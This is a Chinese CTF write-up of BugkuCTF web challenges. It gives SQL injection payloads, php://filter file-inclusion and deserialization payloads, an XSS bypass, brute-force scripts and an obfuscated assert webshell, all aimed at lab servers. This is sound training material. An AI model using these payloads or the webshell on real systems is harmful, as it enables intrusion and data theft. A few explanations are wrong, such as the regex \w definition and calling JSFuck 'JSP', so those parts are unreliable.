20180810-bugkuctf-wp

BUGKUCTF-WP-未完,待续

web2-代码审计

在url的前面加上view-source:来看看源码,然后flag就在源码里,KEY{Web-2-bugKssNNikls9100}

文件上传测试-文件上传

提示说是要上传一个php文件,先随便新建一个php文件,然后上传,发现是要上传一个图片文件,那么打开burpsuite,然后抓包,本来上传的内容是这样的。

1
2
3
4
5
6
-----------------------------21339910311935
Content-Disposition: form-data; name="file"; filename="12.php"
Content-Type: application/octet-stream


-----------------------------21339910311935--

修改一下Content-Type,改成Content-Type: image/jpeg,然后go,成功得到flag。

HTTP Content-type 对照表:http://tool.oschina.net/commons/

计算器-代码审计

限制输入,查看源码,然后修改1529511264800这个,把maxlength修改,然后输入正确答案,即可得到flag。

或者选择用bp抓包,然后修改数据。

web基础$_GET-代码审计

直接说要用get提交一个变量what,值为flag,直接在url的后面加上?what=flag,构成http://120.24.86.145:8002/get/?what=flag,然后得到flag。

web基础$_POST-代码审计

这次要用post的方法提交,用hackbar提交即可。

1529511871150

矛盾-代码审计

查看代码,要求就是要输入的num不是数字,但是值又等于1。

1
2
3
4
5
6
7
is_numeric() — 检测变量是否为数字或数字字符串

语法

bool is_numeric ( mixed $var )

如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE

输入以1为开头后接非数字的字符串,原理则是==时,一边为数字,则只比对变量的开头数字部分,后面会忽略。

1529512718624

web3-代码审计

打开后无限弹窗,在url加上view-source:查看源码,发现注释

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

实际上这就是

1
2
是 HTML、XML 等 SGML 类语言的转义序列(escape sequence)。它们不是「编码」。以 HTML 为例,这三种转义序列都称作 character reference:第一种是 character entity reference,后接预先定义的 entity 名称,而 entity 声明了自身指代的字符。
后两种是 numeric character reference(NCR),数字取值为目标字符的 Unicode code point;以「&#」开头的后接十进制数字,以「&#x」开头的后接十六进制数字。

其实也可以不用管这么多,知道&#后面的是ASCII码即可,去掉&,#,;,然后跑去ASCII 在线转换器http://www.ab126.com/goju/1711.html转换,得到flag。

sql注入-注入

查看源码,发现编码规则GB-2312,猜测为mysql宽字节注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
简单讲解什么是宽字节注入:
1.服务器在GET到前端发来的数据后,通过php的addslashes,mysql_real_escape_string,mysql_escape_string等函数,能够对特定的字符进行过滤,在它的前面添加转义字符,从而使得之后拼接sql语句时,这些特定的字符失效.
过滤的字符包括
ASCII(NULL)字符\x00,
换行字符\n,addslashes不转义
回车字符\r,addslashes不转义
反斜杠字符\,
单引号字符',
双引号字",
\x1a,addslashes不转义

2.mysql在使用GBK编码的时候,会认为两个字符为一个汉字,当我们将注入连接写成

http://103.238.227.13:10083/?id=1%df'

%df’ 传到后台php处理后变成%df\’,此时,%df\’对应的编码就是%df%5c’,即汉字“運’”(注意这个汉字后面的单引号还在),这样就相当于将php用于过滤而加上的转义字符 \ 吞掉了,从而实现过滤的绕过.

而在url后加上?id=1发现能正常输出,但是id=2就会啥也没有了,说明id=1是注入点。尝试一下输入?id=1%df' union select 1,database() %23,发现是有数据库名字的出现。

然后再构造payload

1
?id=-1%df%27 union select 1,string from .key %23

得到一串字符,就是flag。

宽字节注入详解: http://www.cnblogs.com/ECJTUACM-873284962/p/8747543.html

域名解析-杂

题目要求的域名解析可以通过修改hosts文件达成

Windows下的hosts在C:\Windows\System32\drivers\etc,打开后在最下面加上

120.24.86.145 flag.bugku.com

然后直接访问flag.bugku.com即可。

SQL注入1-注入

对id进行了过滤,然而strip_tags() 函数却又留下了漏洞

1
2
3
4
5
6
7
trip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。

语法
strip_tags(string,allow)

这么我们就可以在union中加入<a>符号来绕过过滤

首先我们要先拿到数据库的名字id=-1 union select 1,database() #那么构造的payload即是id=-1 un<a>ion se<a>lect 1,database() %23,然后获得数据库名字为sql3。

然后我们就输入id=-1 un<a>ion se<a>lect 1,hash fr<a>om sql3.key %23

当然,其实也可以直接输入id=-1 un<a>ion se<a>lect 1,hash fr<a>om .key %23来获得flag。

你必须让他停下-杂

打开后是一个不断跳转的网页,用burpsuite抓包,然后丢到repeater中,一路go即可得到flag。

本地包含——-网站炸了貌似

变量1-代码审计

正则表达式的匹配就是要args这个变量要由任意大小写字母和0到9以及下划线组成,而后var_dump()则是显示变量的值和结构,那么我们就直接输出GLOBALS这个全局变量,即是构造?agrs=GLOBALS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  


error_reporting(0);// 关闭php错误显示
include "flag1.php";// 引入flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){// 通过get方式传递 args变量才能执行if里面的代码
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){// 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
die("args error!");
}
eval("var_dump($$args);");// 这边告诉我们这题是代码审计的题目
}
?>

var_dump 是PHP中的调试函数,可以用var_dump打印所有的对象,查看对象内部的数据结构。
void var_dump ( mixed $expression [, mixed $... ] )
此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

相关的正则表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS:下面看下正则表达式 \w \s \d \b

. 匹配除换行符以外的任意字符

\w 匹配字母或数字或下划线或汉字 等价于 '[^A-Za-z0-9_]'。

\s 匹配任意的空白符

\d 匹配数字

\b 匹配单词的开始或结束

^ 匹配字符串的开始

$ 匹配字符串的结束

\w能不能匹配汉字要视你的操作系统和你的应用环境而定

web5-代码审计

​ 题目说是JSP,然后查看源码,发现一连串的([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![ 后略,这其实就是JSP的一种转换,实际上还是JSP代码,只需要在游览器中F12打开,然后执行这一串代码即可,记得转成大写。

1
2
3
4
5
6
7
8
JavaScript是一种属于网络的脚本语言,已经被广泛用于Web应用开发,常用来为网页添加各式各样的动态功能,为用户提供更流畅美观的浏览效果。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的

jother是另类的javascript工具
一堆[]()+!的东西就用jother解码

可以打开谷歌浏览器 按F12

然后console将那堆解码的东西复制过去 按回车即可解码

头等舱-抓包

打开后发现什么都没有,查看源码也一样,那么用bp抓包看看,丢到repeater里面go一下,发现flag就在报头里。

网站被黑

打开后扫描敏感文件,扫出来个shell.php,访问后是个后台登录,结合提示说不难,那么应该是弱密码攻击,用bp抓包后用字典爆破攻击,发现hack的返回内容不一样,获得flag。

web4-代码审计

查看源码,看见有eval这个函数,就知道是执行里面的内容unescape(p1) + unescape('%35%34%61%61%32' + p2),百度一下函数unescape,发现是一个加密函数该函数的工作原理是这样的:通过找到形式为 %xx 和 %uxxxx 的字符序列(x 表示十六进制的数字),用 Unicode 字符 \u00xx 和 \uxxxx 替换这样的字符序列进行解码。,还发现一个在线解密的网站https://escape.supfree.net/,把两个字符串解密后获得源码。

1
2
3
4
5
6
7
8
9
10
function checkSubmit()
{ var a=document.getElementById("password");
if("undefined"!=typeof a)
{if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

直接在输入框里输入67d709b2b54aa2aa648cf6e87a7114f1即可得到flag。

flag在index里-注入

这道题目里有经典的本地文件包含漏洞+php伪协议的结合应用 。

注意到url地址 http://120.24.86.145:8005/post/index.php?file=show.php

这是一个典型的文件包含漏洞,(file关键字是提示,其实也是CTF的套路)。

这里用到了php的封装协议:http://php.net/manual/zh/wrappers.php.php

具体怎么用呢,先说结果:

http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

然后将得到的字符串base64解码得到index的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
1
2
3
4
5
6
7
8
9
10
11
现在具体说说file=php://filter/read=convert.base64-encode/resource=index.php的含义

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。

我们再看一下源码中 存在对 ../ tp data input 的过滤,其实这都是php://协议中的其他方法,都可以结合文件包含漏洞执行,具体可以百度一下

更详细的wp:https://blog.csdn.net/wy_97/article/details/77431111

输入密码查看flag-杂

​ 题目说的很明白,穷举攻击,用bp抓包后丢到Intruder中,然后用python写一个5位数的字典,然后运行,找到其中长度不一致的查看,即是flag‘。

​ python相应的字典生成

1
2
3
4
5
6
7
8
9
10
11
12
file=open('return.txt','w')

for a in range(10):
for b in range(10):
for c in range(10):
for d in range(10):
for e in range(10):
s=str(a)+str(b)+str(c)+str(d)+str(e)
file.write(s+'\n')


file.close()

​ 当然,也可以选择用pyhton自己写脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from urllib import request
from urllib import parse
import time

file=open('return.txt','w')

for a in range(10):
for b in range(10):
for c in range(10):
for d in range(10):
for e in range(10):
s=str(a)+str(b)+str(c)+str(d)+str(e)
#time.sleep(0.1)
print('try: ',s)
datas={'pwd':s}
datas_encode=parse.urlencode(datas).encode(encoding='UTF8')
url="http://120.24.86.145:8002/baopo/"
req=request.Request(url,data=datas_encode)
page=request.urlopen(req).read().decode()
#print(page)
file.write(page+'\n')

file.close()

点击一百万次-杂+注入+代码审计

查看源码,发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script>
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});
</script>

发现当clicks这个变量大于1000000时,会通过一个post请求发送clicks,那么我们直接通过post提交一个clicks=100000000即可得到flag。

备份是个好习惯-代码审计

这一题提示是备份,打开网页后又啥也没有,扫描网站敏感文件,扫出了index.php.bak,那么访问下载下来,打开发现是index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//获取当前url,然后从?后开始截取
$str = substr($str,1); //去掉str的第一个字符,即?
$str = str_replace('key','',$str); //将str中的key替换成空,即去除key,
parse_str($str); //使得str里的变量赋予被执行
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

整个即是要求我们要通过get的方法在url中输入变量key1和key2,虽说过滤了key,但只过滤了一次,只要构造kekeyy1kekeyy2即可,然后key1的值要和key2的值不相等,但是hash值要想等。此时则要利用数组来绕过,构造的payload是?kkeyey1[]=1&kekeyy2[]=2,flag到手。

成绩单-注入

首先是看见是sql查询,先用id=1' order by 3来确定当前表一共有几列,发现有正常输出,则再来id=1' order by 4,发现有4列,再来一次id=1' order by 5,无输出则说明一共有4列。

然后就爆当前数据表的名字。

1
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version() #

发现当前数据表为fl4g。

再爆数据表相应列的名字

1
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' #

发现当前列为skctf_flag。

最后只要输入id=-1' union select 1,2,3,skctf_flag from fl4g #即可获得flag。

秋名山老司机-杂

发现题目的要求是按照把显示的式子进行运算,然后提交。很明显有时间限制,那么写脚本提交

1
2
3
4
5
6
7
8
9
import requests
import re
url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session() //为了保存回话session,让游览器认为是同一次回话
source = s.get(url) //访问网站
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() //获取式子
result = eval(expression) //计算式子
post = {'value': result} //用post提交value
print(s.post(url, data = post).text) //提交计算结果

速度要快-杂

这题很坑,看题目很明显就是要写脚本,然后查看源码,让我们提交变量margin,然后就没有东西了,用bp抓包,发现返回的包的头信息flag,进行base64解密,变成奇怪的数据,再base64解密一次,发现最后的内容变成了正常的数据,那么明显就是要提交这个数据。和上一题一样,写脚本提交

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import base64

url='http://120.24.86.145:8002/web6/'

r=requests.session()

headers=r.get(url).headers

flag=base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':flag}
print r.post(url=url,data=data).content

cookies欺骗-杂

打开后发现urlhttp://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=后面的参数,a2V5cy50eHQ=base64解密一下,得到keys.php,那么明显就是输出文件为filename,行数为line的内容,那么我们把index.phpbase64加密一下,构造urlhttp://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw,然后输入不同的line,可以获得整个index.php的内容。

写了个简单的脚本获取内容

1
2
3
4
5
6
7
import requests
import re

s = requests.Session()
for i in range(20):
url='http://120.24.86.145:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
print s.get(url).text,

则index.php为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' => 'keys.txt',
'1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
$file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
$fa = file($file);
echo $fa[$line];
}
?>

所以要我们输出keys.php的内容,要有cookie[‘margin’],则用bp抓包,构造,即可获得flag

1
2
3
4
5
6
7
8
9
GET /web11/index.php?line=0&filename=a2V5cy5waHA= HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=59khlluj4n97fqvs711ipkbbftoi08o6;margin=margin
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

XSS-注入

首先是查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<body>
<div class="container">
<h2>XSS注入测试</h2>
<div class="alert alert-success">
<p>1、请注入一段XSS代码,获取Flag值</p>
<p>2、必须包含alert(_key_),_key_会自动被替换</p>
</div>
<div id="s"></div>
</div>
<!-- jQuery文件。务必在bootstrap.min.js 之前引入-->
<script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
<!-- 最新的 Bootstrap 核心 JavaScript 文件 -->
<script src="http://apps.bdimg.com/libs/bootstrap/3.3.4/js/bootstrap.min.js"></script>

<script>
var s=""; document.getElementById('s').innerHTML = s;
</script>
</body>
</html>

发现了15309710949901530971120972

能够得知一块区域名为s,然后将s的内容嵌入html中,这恰恰是xss漏洞的原因。

然后输入<img src=1 onerror=alert<_key>,发现没有弹窗,查看源代码,发现<>被转成了&lt,&gt。

1
var s="?&lt;img src=1 onerror=alert(1)&gt;";

那么我们构造?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e,用\u003c和\u003e来转义成<>,则可以得到flag。

never give up-代码审计

首先是打开后查看源码,里面有注释1p.html,访问,然后发现跳转到了论坛,那么使用bp来拦截跳转,发现里面的一串url代码,然后url解密,解密后base64解码,解密后再次url解码。

或者可以使用view-source:来防止跳转。

1530972930612

所获得代码为最开始打开网页的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) //stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r'); //把整个文件读入一个字符串中。
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}


?>

发现一个文件,直接访问http://120.24.86.145:8006/test/f4l2a3g.txt,获得flag。

正式做法:

1
2
3
4
5
6
$data==”bugku is a nice plateform!”:可以令a=php://input,然后POST传值 bugku is a nice plateform! 绕过。

strlen(b)>5 and eregi(“111”.substr(b,0,1),”1114”) and substr($b,0,1)!=4:可以利用%00截断,令b=%0012345 绕过。
//eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。
//substr() 函数返回字符串的一部分。
!$_GET[‘id’]并且id==0:令id=%00或者令id=.都可以绕过。

1530974650182

welcome to bugkuctf-代码审计

相应wp:https://blog.csdn.net/csu_vc/article/details/78375203https://www.cnblogs.com/Pinging/p/8278168.html

首先打开后查看源码

1
2
3
4
5
6
7
8
9
10
11
12
<!--  
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

很明显要我们通过get输入变量。

首先是user,和上一题never give up一样,简单地通过txt=php://input,然后通过post的方法输入welcome to the bugkuctf,即可解决。

而这个include($file),则需要通过php://filter/read=convert.base64-encode/resource来使用伪协议读取所包含文件的base64值。

然后构造payload为http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php即可得到hint.php源码的base64加密后的结果。base64解密后得到源码。

hint.php的源代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

然后构造payload为http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php来查看index.php的源代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

看到unserialize,又是反序列化,那么我们就要构造相应的序列化。

现在看源码,则明白了,首先是TXT的绕过,然后是file的格式匹配,这是防止直接读取flag,同时会导入file,然后反序列化变量。

那么我们就先需要去进行序列化,可以去该网站进行在线php代码运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class Flag{//flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}

$info =new Flag();
$plain = serialize($info);
echo $plain;

?>

将hint.php里Flag类进行序列化,然后作为password的值,又因为我们要使得hint.php里的Flag类定义包含在其中,所以file=hint.php,因此构造以下payload,得到flag。

http://120.24.86.145:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

过狗一句话-代码审计

看提示

1
2
3
4
5
6
7
送给大家一个过狗一句话
<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc); //explode() 函数把字符串打散为数组。
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

发现poc_2即是assert,assert类似eval,会将内容作为php代码来实现。

可以构造http://120.24.86.145:8010/?s=print_r(glob('*.*'))来获得当前目录下的所有文件名中带’.‘的。

1
2
3
4
5
glob定义和用法

glob() 函数返回匹配指定模式的文件名或目录。

该函数返回一个包含有匹配文件 / 目录的数组。如果出错返回 false。

又或者构造http://120.24.86.145:8010/?s=print_r(scandir('./')) 来获得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
scandir定义和用法

scandir() 函数返回指定目录中的文件和目录的数组。

实例
列出 images 目录中的文件和目录:
<?php
$dir = "/images/";

// 以升序排序 - 默认
$a = scandir($dir);

// 以降序排序
$b = scandir($dir,1);

print_r($a);
print_r($b);
?>

即可发现当前目录下有一个flag.txt的文件,直接访问即可。

别人的wp

1
2
3
4
5
6
根据提示直接已经构造了assert()可以直接构造语句到s即可。第一步查看文件,system(“ls”)无效,可以只用glob(pattern,flag)来匹配所有符合条件的文件,语句为print_r/var_dump(glob(‘*’)),找到flag.txt文件,输出之即可print_r/var_dump(file/file_get_contents(‘./flag.txt’))或者highlight_file/show_source(‘./flag.txt’)得到flag。

作者:a2dd56f6ad89
链接:https://www.jianshu.com/p/e91d77d86660
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

字符?正则?-代码审计

按着构造payload就可以了。

1
2
3
4
5
6
7
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}

首先是key.*这第一块,第一个key直接匹配就好了,然后.可以用任何字符来匹配,*表示之前子表达式匹配零次或多次,所以这一块的意思是以key开头,后面接任意字符串,字符或不接都可以。

然后是key.{4,7},这里的{4,7}指的是之前子表达式匹配4次至7次。那么这一块的意思是以key开头,后面接4至7个字符。

第三块:\/\/(.*key),前面的:直接匹配就好了,然后的\是为了转义,使得/不为特殊符号,即\/指的就是/,最后的(.*key)是()是拆分成一个字符串,里面的内容和第一个类似,不过是以key结尾而已。总的意思先是一个/,然后接任意符号,再来一个/,再接任意个字符串,字符或不接,最后是一个key。

最后一块[a-z][[:punct:]][a-z]代表匹配a到z的字母,后面的[[:punct:]]匹配的是标点符号。那么这里就是一个小写字符再接一个标点符号即可。

最后的最后的/i表示的不区分大小写,即可以写KEY。

最后附上我的payloadhttp://120.24.86.145:8002/web10/index.php?id=keyakeyaaaakey:/a/akeya.

相应的部分正则表达式

符号 意思
\w 匹配字母或数字或下划线或汉字 等价于 ‘[^A-Za-z0-9_]’。
. 匹配除换行符以外的任意字符
\s 匹配任意的空白符
\d 匹配数字
^ 匹配字符串的开始
$ 匹配字符串的结束
() 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 ( 和 )。
[] 是定义匹配的字符范围。比如[a-zA-Z0-9]表示相应位置的字符要匹配英文字符和数字。[\s表示空格或者号]
{} 一般是用来匹配的长度。比如\s{3}表示匹配三个空格,\s[1,3]表示匹配1到3个空格
/i 不区分大小写 insensitive
/g 全局匹配 global
/m 多行模式 multi
/gi 和/ig 就是/i 和/g的组合
* 匹配前面的子表达式零次或多次。要匹配 字符,请使用 \
+ 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 +。
\ 将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, ‘n’ 匹配字符 ‘n’。’\n’ 匹配换行符。序列 ‘\‘ 匹配 “\”,而 ‘(‘ 则匹配 “(“。
^ 匹配输入字符串的开始位置,除非在方括号表达式中使用,此时它表示不接受该字符集合。要匹配 ^ 字符本身,请使用 \^。
\ 指明两项之间的一个选择。要匹配 \ ,请使用 \
[:punct:] 匹配任何标点符号

前女友(SKCTF)-代码审计

右键查看源码,可以看见code.txt,打开后发现原来又是绕过。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

首先是v1!=v2,而md5值又要一样,两种方法:

1.设置v1和v2为数组,md5()在参数是数组时会报错然后返回null,所以两个数组的md5值会恒定相等。

2.可以利用 “0x” == “0a”的判断结果为1,找出经过加密后的两个md5值以0开头,接下去以都相同的值,直到遇到的字母的两个字符串 ,详情见https://blog.csdn.net/qq_35191331/article/details/77150045

而php中的strcmp(str1,str2)是用来对比字符串,若是str1>str2,则返回1,str1=str2则返回0,str1<str2则返回-1。而这里我们不知道flag变量是什么,所以使得v3为数组,则是数组和字符串对比,会返回false。

因此构造的payload为118.89.219.210:49162/?v1[]=1&v2[]=2&v3[]=3

login1(SKCTF)-注入

sql约束攻击,百度一下。原理则是当mysql处于ANSI模式,即宽松模式,在这种模式下插入数据如果不符合定义类型或长度,对数据类型调整或截断保存并警告。

在我们注册时,我们将用户名设置为admin 123,他会进行select搜索,搜索数据库里面有没有同名用户,注意,此时是用完整的admin 123进行搜索,所以数据库没有匹配的。

但是之后的insert操作时,由于字符串长度的问题,所以会造成截断,导致我们的admin 123只会存储进去admin一部分和一部分空格,而后面的123`则会被忽略不计,则数据库里面就多了一个记录是admin的,而我们又知道密码的。

而在之后登陆的时候,在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说”admin”等同于”admin “,对于绝大多数情况来说都是成立的。因此我们只要输入账号admin,密码为我们所设置的值,然后数据库返回的反而是admin管理员的账号,我们也就可以越权了。

详情见https://blog.csdn.net/qq_32400847/article/details/54137747

你从哪里来-杂

打开后是一句are you from google?,很明显就是抓包改信息头。打开bp抓包,然后在里面加入一句Referer: https://www.google.com,然后得到flag了。

md5 collision(NUPT_CTF)-代码审计

bugku就是个**,居然不给源码,谁知道什么意思。百度到了源码。

1531147223181

这里很简单,就是要我们进行MD5碰撞,而这里就用不了神奇的数组绕过了,然而QNKCDZO在md5后的值是0e830400451993494058024219903391,PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

那么就很简单了,我们只要输入一个md5后的值为0e的即可。

0e开头md5汇总:https://www.ohlinge.cn/php/0e_md5.html

程序员本地网站-杂

打开后说从本地访问,那么用bp抓包,然后加上X-Forwarded-For: 127.0.0.1,获得flag。

各种绕过-代码审计

直接给源码,按照条件输入即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else
print 'sorry!';
}
?>

一开始的urldecode是对输入的id进行url解码,可是后面的margin属于英语字符,不用编码。

而后面的uname和passwd要求不相等但是sha1后相等,用数组绕过即可。

构造的payload为http://120.24.86.145:8002/web7/?id=margin&uname[]=1,并且通过post提交passwd[]=2,得到flag。

web8-代码审计

这题一样直接给源码

1
2
3
4
5
6
7
8
9
10
11
<?php
extract($_GET);
if (!empty($ac)) {
$f = trim(file_get_contents($fn));
if ($ac === $f) {
echo "<p>This is flag:" . " $flag</p>";
} else {
echo "<p>sorry!</p>";
}
}
?>

